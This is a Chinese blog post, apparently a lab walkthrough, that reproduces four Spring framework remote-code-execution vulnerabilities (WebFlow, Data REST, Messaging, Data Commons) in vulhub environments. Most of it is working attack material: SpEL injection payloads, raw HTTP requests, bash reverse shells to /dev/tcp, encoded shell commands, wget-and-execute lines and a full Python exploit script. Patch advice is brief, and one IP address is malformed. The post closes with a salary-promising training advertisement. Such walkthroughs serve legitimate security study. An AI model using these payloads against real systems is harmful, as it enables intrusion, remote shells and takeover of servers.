赞
踩
1.使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。 2.使用2.0.x版本的用户升级到2.0.10以及更高的版本
因为对java不是很熟,所以没有对底层原理进行分析
Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
<code class="language-plaintext hljs">Spring WebFlow 2.4.0 - 2.4.4 </code>
1.MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)2.flow view对象中设置BinderConfiguration对象为空#### 漏洞复现
开启漏洞
点击login
可以看见这里有很多默认的用户名密码,随便选一组登录系统
然后访问id为1的酒店地址:
<code class="language-plaintext hljs">http://192.168.173.144:8080/hotels/1 </code>
点击预订按钮”Book Hotel",填写相关信息后点击“ Process”(从这一步,其实WebFlow就正式开始了)︰
随便输入一些内容后,我们点击Proceed然后会跳转到Confirm页面(Credit Card为16位):
点击confirm时进行抓包
反弹shell的poc:
<code class="language-plaintext hljs">原POC:
&_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.173.133/1234 0>&1")).start()=vulhub
URL编码后
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.173.133/1234 0>%261")).start()=vulhub </code>
exp扩展
1、向里面写入文件
&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/zcc")
<img src=" https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2df319fc6d4a4d9f8c387c9281141ba4~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />
<img src=" https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/bab2c2d73f0a4435b4d70f72b2bc5552~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />
2、使用wget下载远程bash脚本
&_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/shell http://x.x.x.x:xxxx/shell")
3、执行上一步下载的脚本
&_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/shell")
官方已经发布了新版本,请受影响的用户及时更新升级至最新的版本来防护该漏洞。官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为。参考链接:
https://pivotal.io/security/cve-2017-4971
对于这个漏洞的底层分析文章,大家可以看看这篇:paper.seebug.org/322/
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。
<code class="language-plaintext hljs">Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3 </code>
开启漏洞环境:
看到 json格式的返回值,说明这是一个 Restful风格的API服务器。
访问如下url,如果有下面回显,则说明存在该漏洞:
<code class="language-plaintext hljs">http://192.168.173.144:8080/customers/1 </code>
bp抓包,并且使用PATCH请求来修改:
创建文件touch /tmp/zcc的poc,需要对其进行十进制编码:
<code class="language-plaintext hljs">",".join(map(str, (map(ord,"touch /tmp/zcc"))))
'116,111,117,99,104,32,47,116,109,112,47,122,99,99' </code>
将该编码写入poc,放入请求包,注意json格式的poc上面留一个空行,Content-Type: 为application/json-patch+json
<code class="language-plaintext hljs">PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 201
[
{ "op": "replace",
"path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,122,99,99}))/lastname",
"value": "vulhub"
}
] </code>
成功写入:
反弹shell的poc,先进行base64编码:
<code class="language-plaintext hljs">bash -i >& /dev/tcp/192.168.173.1234/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,51,77,121,52,120,77,122,77,118,77,84,73,122,78,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125 </code>
写入poc,成功反弹。
升级到以下最新版本:
Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
Spring Boot 2.0.0.M4
Spring Data release train Kay-RC3
对于该漏洞底层原理分析的文章可以参考这一篇:blog.spoock.com/2018/05/22/…
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。
<code class="language-plaintext hljs">Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15
已不支持的旧版本仍然受影响 </code>
开启漏洞
访问该页面:
<code class="language-plaintext hljs">http://192.168.173.144:8080/gs-guide-websocket </code>
对反弹shell的命令base64编码:
<code class="language-plaintext hljs">bash -i >& /dev/tcp/192.168.173.133/1234 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i} </code>
创建exp.py,自行修改ip和命令语句:
<code class="language-plaintext hljs">#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):def __init__(self, url, *args, **kwargs):super().__init__(*args, **kwargs)self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'self.daemon = Trueself.session = requests.session()self.session.headers = {'Referer': url,'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'}self.t = int(time.time()*1000)def run(self):url = f'{self.base}/htmlfile?c=_jp.vulhub'response = self.session.get(url, stream=True)for line in response.iter_lines():time.sleep(0.5)def send(self, command, headers, body=''):data = [command.upper(), '\n']data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))data.append('\n\n')data.append(body)data.append('\x00')data = json.dumps([''.join(data)])response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)if response.status_code != 204:logging.info(f"send '{command}' data error.")else:logging.info(f"send '{command}' data success.")def __del__(self):self.session.close()
sockjs = SockJS('http://192.168.173.144:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'
})
sockjs.send('subscribe', {'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}')",'id': 'sub-0','destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'
}, data) </code>
成功反弹。
1.请升级Spring框架到最新版本(5.0.5、4.3.15及以上版本);
2.如果你在用 SpringBoot,请升级到最新版本(2.0.1及以上版本);
对于底层原理进行分析的文章可以参考这一篇:paper.seebug.org/562/
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
<code class="language-plaintext hljs">Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10(Ingalls SR10)
Spring Data Commons 2.0 – 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5(Kay SR5)
官方已经不支持的旧版本 </code>
启动漏洞
访问该url,bp抓包
<code class="language-plaintext hljs">http://192.168.173.144:8080/users </code>
加上poc的请求包如下:
<code class="language-plaintext hljs">POST /users?page=&size=5 HTTP/1.1
Host: 192.168.173.144:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Origin: http://192.168.173.144:8080
Connection: close
Referer: http://192.168.173.144:8080/users
Cookie: JSESSIONID=F773DEBD35D866E11D6753373652513C
Upgrade-Insecure-Requests: 1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword= </code>
成功写入。
反弹shell:
写一个shell.sh文件,开启http服务:
下载执行sh脚本:
<code class="language-plaintext hljs">/usr/bin/wget -qO /tmp/shell.sh http://192.168.173.131/shell.sh </code>
执行shell.sh
<code class="language-plaintext hljs">/bin/bash /tmp/shell.sh </code>
成功反弹。
1.受影响版本的用户应该应用以下缓解措施:
2.0.x用户应该升级到2.0.6* 1.13.x用户应该升级到1.13.11* 旧版本应升级到受支持的分支已解决此问题的发布版本包括:
Spring Data REST 2.6.11(Ingalls SR11)* Spring Data REST 3.0.6(Kay SR6)* Spring Boot 1.5.11* Spring Boot 2.0.11.使用Spring Security提供的身份验证和授权,限定特定访问。
这是一份网络安全从零基础到进阶的学习路线大纲全览,小伙伴们记得点个收藏!
编辑
编辑
网络安全导论
渗透测试基础
网络基础
操作系统基础
Web安全基础
数据库基础
编程基础
CTF基础
该阶段学完即可年薪15w+
编辑
弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞
该阶段学完年薪25w+
编辑
反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练
该阶段学完即可年薪30w+
编辑
蓝队基础
蓝队进阶
该部分主攻蓝队的防御,即更容易被大家理解的网络安全工程师。
攻防兼备,年薪收入可以达到40w+
需要上述路线图对应的网络安全配套视频、源码以及更多网络安全相关书籍&面试题等内容
同学们可以扫描下面二维码免费获取哦!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。